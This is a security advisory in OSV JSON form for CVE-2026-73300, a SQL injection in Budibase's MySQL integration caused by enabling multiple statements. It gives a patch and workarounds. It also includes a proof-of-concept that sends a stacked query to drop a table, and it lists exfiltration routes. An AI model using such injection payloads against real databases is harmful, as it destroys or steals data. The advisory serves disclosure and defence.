CVE-2026-73300: Budibase SQL Injection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q6x4-v3qx-85qw",
  "modified" : "2026-08-12T18:56:51Z",
  "published" : "2026-07-24T21:15:02Z",
  "aliases" : [ "CVE-2026-73300" ],
  "summary" : " Budibase: SQL Injection via `multipleStatements: true`",
  "details" : "## Summary\nA critical SQL injection vulnerability was discovered in Budibase's MySQL integration that allows remote attackers to execute arbitrary SQL commands.\n\n## Details\n### Vulnerability Type\nSQL Injection\n\n### Description\nThe MySQL integration component in Budibase is configured with `multipleStatements: true`, enabling execution of multiple SQL statements in a single query. Attackers can inject malicious SQL commands through user input fields, leading to complete database compromise.\n\n### Location\n```typescript\n// File: packages/server/src/integrations/mysql.ts\n// Line: 173\n\nthis.config = {\n  ...config,\n  typeCast: defaultTypeCasting,\n  multipleStatements: true,  // VULNERABLE\n  timezone: \"Z\",\n}\n```\n\n## Proof of Concept\n\n### Exploit\n```javascript\nconst mysql = require('mysql2');\n\n// Budibase vulnerable configuration\nconst connection = mysql.createConnection({\n  host: 'localhost',\n  user: 'root',\n  password: 'password',\n  multipleStatements: true,  // Vulnerable setting\n  timezone: \"Z\"\n});\n\n// Attack: Data destruction\nconnection.query(\n  `SELECT * FROM users WHERE id = 1; DROP TABLE sensitive_data; --`,\n  (err, results) => {\n    if (!err) console.log(\"Table dropped successfully\");\n  }\n);\n```\n\n## Impact\n- **Data Destruction**: Execute DROP TABLE, DELETE commands\n- **Data Theft**: Exfiltrate data via SELECT INTO OUTFILE\n- **Privilege Escalation**: Grant database admin privileges\n- **Denial of Service**: Disrupt service operations\n- **Complete Database Compromise**: Full control over database\n\n## Remediation\n### Patch\n```diff\n--- a/packages/server/src/integrations/mysql.ts\n+++ b/packages/server/src/integrations/mysql.ts\n@@ -170,7 +170,7 @@ class MySQLIntegration extends Sql implements DatasourcePlus {\n     this.config = {\n       ...config,\n       typeCast: defaultTypeCasting,\n-      multipleStatements: true,\n+      multipleStatements: false,\n       timezone: \"Z\",\n     }\n   }\n```\n\n### Workarounds\n1. Temporarily disable MySQL integration\n2. Implement web application firewall (WAF)\n3. Restrict database user privileges",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@budibase/server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "3.38.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/security/advisories/GHSA-q6x4-v3qx-85qw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-73300"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Budibase/budibase"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/releases/tag/3.40.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-24T21:15:02Z",
    "nvd_published_at" : "2026-08-12T18:18:15Z"
  }
}